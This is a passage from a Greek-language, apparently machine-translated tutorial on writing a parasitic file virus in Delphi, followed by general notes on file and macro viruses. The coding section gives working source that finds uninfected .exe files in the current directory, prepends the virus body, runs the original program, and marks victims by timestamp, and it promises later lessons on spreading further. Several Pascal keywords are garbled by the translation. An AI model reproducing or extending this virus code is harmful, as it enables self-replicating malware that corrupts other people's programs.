— να είσαι υγιής :). Λοιπόν, για παράδειγμα: μπορείτε να κρυπτογραφήσετε τα πρώτα 512 ή περισσότερα byte του αρχικού προγράμματος με οποιονδήποτε αλγόριθμο γνωστό σας - XOR/XOR, NOT/NOT, ADD/SUB, τότε θα μοιάζει με:

Σε αυτήν την περίπτωση, η δομή του μολυσμένου αρχείου δεν θα είναι τόσο σαφής.
Δεν είναι για τίποτε που φωνάζω τόσο πολύ εδώ (στην ταξινόμηση, με την έννοια)
— ο παρασιτικός αλγόριθμος χρησιμοποιείται κατά 90% σύγχρονους ιούς, ανεξάρτητα από τη μέθοδο διανομής τους. Εντάξει, ας προχωρήσουμε:

Ιός δικτύου. Μπορεί να είναι οποιοδήποτε από τα παραπάνω. Διαφέρει στο ότι η διανομή του δεν είναι
περιορισμένη σε έναν υπολογιστή, αυτή η μόλυνση με κάποιο τρόπο περνά μέσω του Διαδικτύου ή του τοπικού δικτύου σε άλλα μηχανήματα. Νομίζω ότι βγάζετε 3-4 από αυτούς τους φίλους από το κουτί του σαπουνιού σας σε τακτική βάση.
- Ορίστε ένα παράδειγμα για εσάς ιός δικτύου. Και μόλις μπει στον υπολογιστή κάποιου άλλου, μολύνει αρχεία με αυθαίρετο τρόπο ή δεν τα μολύνει ΚΑΘΟΛΟΥ.

Μακροϊοί, ιοί script, ιοί IRC. Τα έβαλα σε μια ομάδα επειδή πρόκειται για ιούς γραμμένους σε γλώσσες ενσωματωμένες σε εφαρμογές (MSOffice:)), σενάρια (οι αγαπημένοι σας κανόνες VBS εδώ) και σενάρια IRC. Αυστηρά μιλώντας, μόλις εμφανιστεί ένα αρκετά ισχυρό (ή/και διαρροή) στοιχείο σεναρίου σε μια εφαρμογή, οι ιοί αρχίζουν αμέσως να γράφονται σε αυτό 😉 Παρεμπιπτόντως, οι ιοί μακροεντολών είναι πολύ απλοί και αναγνωρίζονται εύκολα από ευρετικές μεθόδους.

Κωδικοποίηση

Φτάσαμε εκεί :) Ελάτε, ξεκινήστε τους Delphi, σκοτώστε όλα τα παράθυρα και σκουπίστε όλες τις ανοησίες από το παράθυρο του έργου. Δηλαδή, σκουπίστε τα πάντα :) Θα εργαστούμε μόνο με DPR που περιέχει:

πρόγραμμα EVIL_VIRUS?
ΧΡΗΣΙΜΟΠΟΙΕΙ ΠΑΡΑΘΥΡΑ, SYSUTILS;
αρχίζω
τέλος;

Νομίζω ότι έχετε ήδη καταλάβει τη λογική του ιού από την ταξινόμηση - επαναφέρουμε και εκκινούμε το πρόγραμμα -> περιμένουμε να ολοκληρωθεί η εργασία του -> διαγράψτε το "χρησιμοποιημένο αρχείο" (ξέχασα να πω - ΔΕΝ ΔΗΜΙΟΥΡΓΟΥΜΕ το μολυσμένο πρόγραμμα, μεταφέρουμε τον αρχικό κώδικα στο αριστερό αρχείο και τον εκτελούμε ΠΑΡΑΔΕΙΓΜΑ: Μολυσμένο αρχείο NOTEPAD.EXE Δημιουργήστε το αρχείο _NOTEPAD.EXE στον ίδιο κατάλογο με τον αρχικό κώδικα και εκτελέστε το).—> Αναζητούμε ένα μη μολυσμένο αρχείο. μολύνει το. Αυτό είναι όλο :) Ο βασικός σχεδιασμός του ιού μοιάζει ακριβώς έτσι.

Τώρα δηλώστε τις ακόλουθες μεταβλητές και σταθερές για τον δυνατό σας εγκέφαλο:

VaR VirBuf, ProgBuf, MyBuf: πίνακας χαρακτήρων;
SR: TSearchRec;
My,pr: Αρχείο;
ProgSize, αποτέλεσμα: ακέραιος;
PN,st: String;
si: Tstartupinfo;
p:Πληροφορίες διεργασίας;
μολυσμένο: boolean;
CONST VirLen: longint= 1000000;

Η πρώτη γραμμή είναι δυναμικούς πίνακες, στο οποίο θα γράψουμε το σώμα του ιού και το πρόγραμμα, αντίστοιχα. Θα γραφτεί στη μεταβλητή SR
χαρακτηριστικά του αρχείου που βρέθηκε που είναι υποψήφιο για μόλυνση (ελπίζω να είστε εξοικειωμένοι με τις διαδικασίες FindFirst και FindNext, γιατί θα χειροτερέψουν;)), My and
Το Pr είναι το αρχείο από το οποίο ξεκινήσαμε και το αριστερό αρχείο με τον αρχικό κώδικα προγράμματος (έγραψα ήδη για αυτό παραπάνω). αποτέλεσμα - το αποτέλεσμα του FindFirst, πρέπει να είναι ίσο με μηδέν,
ProgSize - μέγεθος κώδικα προγράμματος. Τα υπόλοιπα είναι ξεκάθαρα από όσα ακολουθούν, εκτός
infected είναι ένα σημάδι ότι το αρχείο που βρέθηκε είναι μολυσμένο και
Το VirLen είναι το μήκος του κωδικού του ιού, θα το μάθετε μόνο μετά το γάμο. Ουφ, ήθελα να πω μετά τη σύνταξη. Εκείνοι. μεταγλώττιση, αλλαγή της τιμής της σταθεράς στην πηγή και εκ νέου μεταγλώττιση.
Ας κωδικοποιήσουμε περαιτέρω :) Εδώ βλέπετε τον κώδικα που είναι υπεύθυνος για την επαναφορά και την εκκίνηση του μολυσμένου προγράμματος:

SetLength (virbuf, VirLen);
AssignFile(my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile(@st,'c:\windows\program.exe',false);
IF FileSize (my)> VirLen τότε
αρχίζω
//Εκτέλεση του προγράμματος
AssignFile(my,'c:\windows\program.exe);
Reset(my);
ProgSize:= FileSize(my)-VirLen;
BlockRead(my,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(my,progbuf,progSize);
CloseFile(my);
PN:= '_'+ParamStr(0);
AssignFile(pr,PN);
ReWrite(pr);
BlockWrite (pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
με Si do
αρχίζω
cb:= SizeOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
τέλος;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Ξεκίνησε, το πρόγραμμα έτρεξε. Ας το σβήσουμε :)
ErAsE(pr);
Διαγραφή (μου);

Όλα εδώ είναι, καταρχήν, απλά και ξεκάθαρα, εκτός από το γιατί μετέφερα ολόκληρο το μολυσμένο αρχείο στον κατάλογο των Windows και τι κάνουν οι γραμμές 3 έως 5 συμπεριλαμβανομένων.
Και το έκανα επειδή διάβασα από τρέχον αρχείοάβολο και δυνατό μόνο με χρήση του CreateFile και του ReadFile WinAPI. Θα σας πω για την κωδικοποίηση χρησιμοποιώντας το WinAPI αργότερα, τώρα θα καλύψω μόνο τα βασικά
- στους Δελφούς.

Αυτές οι γραμμές - μετατροπή συμβολοσειράςνα πχαρ λαϊκή μέθοδος, αφού τώρα παλεύουμε για κάθε byte κώδικα. Ένα άλλο σημείο: Έκανα λάθος ορίζοντας τη διαδρομή c:\windows τόσο αυστηρά. Χρησιμοποιήστε καλύτερα τη διαδικασία GetWindowsDirectory, μάθετε σίγουρα :) Όλα τα άλλα είναι ξεκάθαρα χωρίς κανένα σχόλιο (αν όχι
σταματήστε να παραλείπετε την επιστήμη των υπολογιστών ;)), ας προχωρήσουμε:

αποτέλεσμα:= FindFirst('*.exe',faAnyFile,sr);
WHILE Αποτέλεσμα= 0 DO
αρχίζω
//Έλεγχος για ψείρες
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= ‘08/03/98 06:00:00’ τότε μολύνθηκε:= true;
//Τετραγωνισμένος!
IF (infected= false)και (sr.name<>paramstr(0)) τότε
αρχίζω
AssignFile(my,sr.Name);
ReWrite(my);
BlockWrite(my,virbuf,virlen);
BlockWrite(my,progbuf,sr.Size);
CloseFile(my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('08/03/98 06:00:00')));
τέλος;
τέλος;

//Εάν ο ιός εκκινηθεί "καθαρός", π.χ. όχι από ένα μολυσμένο πρόγραμμα, τότε βγαίνουμε
τέλος άλλο σταμάτημα?

Τι βλέπει εδώ το οξυδερκές μάτι σου; Σωστά, η διαδικασία FindFirst αναζητά το συγκεκριμένο θύμα (οποιοδήποτε αρχείο exe από τον τρέχοντα κατάλογο), μεταφέρει τα χαρακτηριστικά του στη μεταβλητή SR. Στη συνέχεια, πρέπει να το ελέγξετε για μόλυνση. Αυτό γίνεται με έναν πρωτότυπο τρόπο: όταν μολυνθεί, στο αρχείο εκχωρείται ένα def. ημερομηνία και ώρα. Και κάθε αρχείο με τέτοια χαρακτηριστικά θεωρείται μολυσμένο. Όλα τα άλλα είναι και πάλι άσεμνα απλά, οπότε προχωρώ ομαλά στο συμπέρασμα :)

Σύναψη

Έτσι κωδικοποιήσαμε τον πρώτο μας ιό. Προς το παρόν, μπορεί να μολύνει μόνο αρχεία στον τρέχοντα κατάλογο (αν και είμαι σίγουρος ότι μπορείτε να τον αναβαθμίσετε εύκολα ;)) και δεν γνωρίζει τίποτα για άλλους καταλόγους και το Διαδίκτυο. Μην απελπίζεστε, θα του το μάθουμε γρήγορα. Προς το παρόν, παίξτε με αυτές τις γραμμές και περιμένετε το επόμενο άρθρο.

Εφαρμογή

Θα τολμήσω να σας δώσω μια περιγραφή όλων των διαδικασιών που χρησιμοποιούνται στο άρθρο. Αυτό θα σας βοηθήσει να τα αναζητήσετε στη βοήθεια και να προετοιμαστείτε για την κωδικοποίηση σοβαρών ιών χρησιμοποιώντας
WinAPI.

Το AssignFile - δεν υπάρχει αντίστοιχο στο WinAPI - ταιριάζει με ένα αρχείο
Με μεταβλητού τύπουΑρχείο ή Αρχείο κειμένου

Επαναφορά - τα ανάλογα των _lopen και CreateFile - ανοίγει
υπάρχον αρχείο και ορίζει τη θέση
διαβάζοντας στην αρχή

ReWrite - _lcreate και CreateFile - δημιουργεί νέο αρχείοΚαι
στόμα θέση ανάγνωσης στην αρχή. Αν ταΐζετε
Ξαναγράψτε ένα υπάρχον αρχείο, τα περιεχόμενά του
θα μηδενιστεί

BlockRead - _lread και ReadFile - διαβάζει στο buffer
ορισμένη ποσότητα δεδομένων από ένα αρχείο

BlockWrite - _lwrite και WriteFile - αντίστοιχα, γράφει
δεδομένα σε αρχείο

SeekFile - _llseek και SetFilePointer - μετακινεί τη θέση
ανάγνωση/εγγραφή σε ανοιχτό αρχείο

CloseFile - _lclose και CloseHandle - κλείνει ένα ανοιχτό
αρχείο

Διαγραφή - Διαγραφή αρχείου - διαγραφή αρχείου

FindFirst - FindFirstFile - αναζήτηση αρχείων με κριτήρια

FindNext - FindNextFile - αναζήτηση για το επόμενο αρχείο

Οι ιοί αρχείων μπορούν να ενσωματωθούν μόνο σε εκτελέσιμα αρχεία: αρχεία δέσμης (αρχεία που αποτελούνται από εντολές λειτουργικού συστήματος), αρχεία αυτοεξαγωγής, προγράμματα χρήστη και συστήματος σε κώδικα μηχανής, καθώς και σε έγγραφα (πίνακες) που έχουν εντολές μακροεντολών (μακροεντολές).

Για υπολογιστές συμβατούς με IBM, ο ιός μπορεί να ενσωματωθεί σε αρχεία ακόλουθους τύπους: ομαδικά αρχεία (BAT), προγράμματα οδήγησης με δυνατότητα λήψης (SYS), προγράμματα σε μηχανικούς (δυαδικούς) κωδικούς (EXE, COM), έγγραφα Word (DOC) από την έκδοση 6.0 και νεότερη, πίνακες EXCEL (XLS). Οι ιοί μακροεντολών μπορούν επίσης να ενσωματωθούν σε άλλα αρχεία που περιέχουν εντολές μακροεντολών.

Οι ιοί αρχείων μπορούν να βρίσκονται στην αρχή, στη μέση και στο τέλος του μολυσμένου αρχείου.

Ανεξάρτητα από τη θέση του ιού στο σώμα του μολυσμένου αρχείου, αφού μεταφερθεί ο έλεγχος στο αρχείο, εκτελούνται πρώτα οι εντολές του ιού.

Στην αρχή του αρχείουΟ ιός εισάγεται με έναν από τους τρεις τρόπους:

Το πρώτο είναι να ξαναγράψετε το αρχείο μέχρι το τέλος και ένας ιός εγγράφεται στον ελεύθερο χώρο.

Το δεύτερο περιλαμβάνει την ανάγνωση του ιού και του μολυσμένου αρχείου στη μνήμη RAM, τον συνδυασμό τους σε ένα αρχείο και την εγγραφή του στη θέση του αρχείου.

τρίτον - ο ιός εγγράφεται στην αρχή του αρχείου χωρίς να αποθηκεύονται τα περιεχόμενα (σε αυτήν την περίπτωση, το μολυσμένο αρχείο καθίσταται ανενεργό).

Μέχρι τη μέση του αρχείουΟ ιός μπορεί επίσης να γραφτεί με διάφορους τρόπους:

πρώτα - το αρχείο μπορεί να "επεκταθεί" και ένας ιός μπορεί να γραφτεί στον ελεύθερο χώρο.

δεύτερον - ένας ιός μπορεί να ενσωματωθεί στη μέση ενός αρχείου χωρίς να αποθηκεύεται το τμήμα του αρχείου στη θέση του οποίου έχει τοποθετηθεί ο ιός.

ο τρίτος (ο ιός "Mutant") χρησιμοποιεί μια μέθοδο συμπίεσης μεμονωμένων τμημάτων του αρχείου και το μήκος του αρχείου μπορεί να μην αλλάξει μετά την εισαγωγή του ιού.

Τις περισσότερες φορές εισάγεται ο ιός στο τέλος του αρχείου, σε αυτήν την περίπτωση, οι πρώτες εντολές του αρχείου αντικαθίστανται με εντολές για μετάβαση στο σώμα του ιού.

Αλγόριθμος για έναν ιό αρχείωνθα μπορούσε να είναι ως εξής:

1) ο μόνιμος ιός ελέγχει αν το ΕΜΒΟΛΟ, και αν χρειαστεί τη μολύνει. Ένας μη μόνιμος ιός αναζητά μη μολυσμένα αρχεία και τα μολύνει.

2) γίνονται ενέργειες για τη διατήρηση της λειτουργικότητας του προγράμματος στο οποίο είναι ενσωματωμένος ο ιός (επαναφορά των πρώτων byte του προγράμματος, ρύθμιση διευθύνσεων προγράμματος κ.λπ.).

3) η καταστροφική λειτουργία του ιού πραγματοποιείται εάν πληρούνται οι κατάλληλες προϋποθέσεις.

4) Ο έλεγχος μεταφέρεται στο πρόγραμμα του οποίου το αρχείο περιέχει τον ιό.

Για την ύπαρξη μακροϊούς(ιοί γραμμένοι σε γλώσσες μακροεντολών, ενσωματωμένοι σε επεξεργαστές κειμένου, υπολογιστικά φύλλα κ.λπ.) σε ένα συγκεκριμένο σύστημα (επεξεργαστής), είναι απαραίτητο η ενσωματωμένη σε αυτό γλώσσα μακροεντολών να έχει τις ακόλουθες δυνατότητες:

Σύνδεση ενός προγράμματος σε μια γλώσσα μακροεντολής με ένα συγκεκριμένο αρχείο.

Αντιγραφή προγραμμάτων μακροεντολών από ένα αρχείο σε άλλο.

Αποκτήστε τον έλεγχο ενός προγράμματος μακροεντολής χωρίς παρέμβαση χρήστη.

Αυτές οι προϋποθέσεις πληρούνται από τους συντάκτες MS Word, MS Office, Ami Pro και τον επεξεργαστή υπολογιστικών φύλλων MS Excel (αυτά τα συστήματα χρησιμοποιούν τις γλώσσες μακροεντολών Word Basic και Visual Basic).

Κατά την εκτέλεση ορισμένες ενέργειεςΟι μακροεντολές αρχείων εκτελούνται αυτόματα σε αρχεία που περιέχουν προγράμματα μακροεντολών (άνοιγμα, αποθήκευση, κλείσιμο κ.λπ.). Σε αυτήν την περίπτωση, δίνεται έλεγχος σε ιούς macro, οι οποίοι παραμένουν ενεργοί όσο είναι ενεργός ο αντίστοιχος επεξεργαστής (επεξεργαστής). Επομένως, όταν εργάζεστε με ένα άλλο αρχείο σε "μολυσμένο πρόγραμμα επεξεργασίας (επεξεργαστή)," μολύνεται επίσης.



Συνιστούμε να διαβάσετε

Κορυφή